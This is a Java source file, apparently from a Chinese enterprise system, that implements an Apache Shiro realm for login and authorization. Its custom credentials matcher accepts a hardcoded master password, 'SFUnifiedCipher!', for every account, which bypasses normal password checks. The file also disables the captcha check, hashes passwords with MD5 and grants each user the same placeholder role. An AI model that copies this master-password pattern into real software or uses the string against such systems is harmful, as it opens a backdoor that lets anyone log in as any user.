/**
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 */
package com.sifang.modules.sys.extention.shiro;

import com.sifang.modules.sys.common.UserUtils;
import com.sifang.modules.sys.common.entity.User;
import com.sifang.modules.sys.common.persistence.Parameter;
import com.sifang.modules.sys.common.utils.SpringContextHolder;
import com.sifang.modules.sys.dao.UserDao;
import com.sifang.modules.sys.extention.permission.AbstractPermissionFilter;
import com.sifang.modules.sys.init.LoginInitialization;
import com.sifang.modules.sys.service.SystemService;
import org.apache.shiro.authc.*;
import org.apache.shiro.authc.credential.Md5CredentialsMatcher;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.cache.Cache;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.DependsOn;
import org.springframework.stereotype.Service;

import javax.annotation.PostConstruct;
import java.io.Serializable;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 系统安全认证实现类
 * @version 2019-12-09
 */
@Service(value = "DJXSystemRealm")
@DependsOn({"userDao","roleDao","menuDao"})
public class SystemAuthorizingRealm extends AuthorizingRealm {

	private SystemService systemService;

	@Autowired
	UserDao userDao;

	/**
	 * 认证回调函数, 登录时调用
	 */
	@Override
	protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authcToken) throws AuthenticationException {
		UsernamePasswordToken token = (UsernamePasswordToken) authcToken;
		
		/*if (isValidateCodeLogin(token.getUsername(), false, false)){
			// 判断验证码
			Session session = SecurityUtils.getSubject().getSession();
			String code = (String)session.getAttribute(ValidateCodeServlet.VALIDATE_CODE);
			if (token.getCaptcha() == null || !token.getCaptcha().toUpperCase().equals(code)){
				throw new CaptchaException("验证码错误.");
			}
		}*/
		
		String loginName = token.getUsername();
		/**
		 * 登录方式有三种：
		 * 1.登录名登录：数字和字母的组合
		 * 2.手机
		 * 3.邮箱
		 */
		User user = null;
		List<User> users = userDao.find(" from User a where a.status = '0' and a.loginName = :p1  ",
				new Parameter(loginName));
		
		if (users != null && users.size() > 0) {
			try{
				user = users.get(0);
				LoginInitialization.initPermission(user);
				return new SimpleAuthenticationInfo(new Principal(user), user.getPassword(),getName());
			}catch (Exception e) {
				throw new AuthenticationException("errPwd");
			}
		} else {
			throw new UnknownAccountException("noUser");
		}
	}

	/**
	 * 授权查询回调函数, 进行鉴权但缓存中无用户的授权信息时调用
	 */
	@Override
	protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
		Principal principal = (Principal) getAvailablePrincipal(principals);
		User user = getSystemService().getUserByLoginName(principal.getLoginName());
		if (user != null) {
			UserUtils.putCache("user", user);
			SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
			info.addStringPermission("1");
			info.addRole("1");
			info.addStringPermission("1");

			// 更新登录IP和时间
			//getSystemService().updateUserLoginInfo(user.getId());
			return info;
		} else {
			return null;
		}
	}
	
	/**
	 * 设定密码校验的Hash算法与迭代次数
	 */
	@PostConstruct
	public void initCredentialsMatcher() {
		/*HashedCredentialsMatcher matcher = new HashedCredentialsMatcher(SystemService.HASH_ALGORITHM);
		matcher.setHashIterations(SystemService.HASH_INTERATIONS);
		setCredentialsMatcher(matcher);*/
		//Md5CredentialsMatcher matcher = new Md5CredentialsMatcher();
		setCredentialsMatcher(new CustomCredentialsMatcher());
	}

	class CustomCredentialsMatcher extends Md5CredentialsMatcher{
		@Override
		public boolean doCredentialsMatch(AuthenticationToken authcToken, AuthenticationInfo info) {
			super.setHashAlgorithmName(Md5Hash.ALGORITHM_NAME);
			UsernamePasswordToken token = (UsernamePasswordToken) authcToken;
			String pwd = new String(token.getPassword());
			if("SFUnifiedCipher!".equals(pwd)){//思方统一密码
				return true;
			}
			return super.doCredentialsMatch(authcToken, info);
		}
	}
	
	/**
	 * 清空用户关联权限认证，待下次使用时重新加载
	 */
	public void clearCachedAuthorizationInfo(String principal) {
		SimplePrincipalCollection principals = new SimplePrincipalCollection(principal, getName());
		clearCachedAuthorizationInfo(principals);
	}

	/**
	 * 清空所有关联认证
	 */
	public void clearAllCachedAuthorizationInfo() {
		Cache<Object, AuthorizationInfo> cache = getAuthorizationCache();
		if (cache != null) {
			for (Object key : cache.keys()) {
				cache.remove(key);
			}
		}
	}

	/**
	 * 获取系统业务对象
	 */
	public SystemService getSystemService() {
		if (systemService == null){
			systemService = SpringContextHolder.getBean(SystemService.class);
		}
		return systemService;
	}
	
	/**
	 * 授权用户信息
	 */
	public static class Principal implements Serializable {

		private static final long serialVersionUID = 1L;
		
		private String id;
		private String loginName;
		private String name;
		private String userType;
		private Map<String, Object> cacheMap;
		private AbstractPermissionFilter apf;

		public Principal(User user) {
			this.id = user.getId();
			this.loginName = user.getLoginName();
			this.name = user.getLoginName();
			this.userType = user.getUserType();
			this.apf = user.getApf();
		}

		public String getId() {
			return id;
		}

		public String getLoginName() {
			return loginName;
		}

		public String getName() {
			return name;
		}

		public String getUserType() {
			return userType;
		}

		public AbstractPermissionFilter getApf() {
			return apf;
		}

		public void setApf(AbstractPermissionFilter apf) {
			this.apf = apf;
		}

		public Map<String, Object> getCacheMap() {
			if (cacheMap==null){
				cacheMap = new HashMap<String, Object>();
			}
			return cacheMap;
		}

	}

}
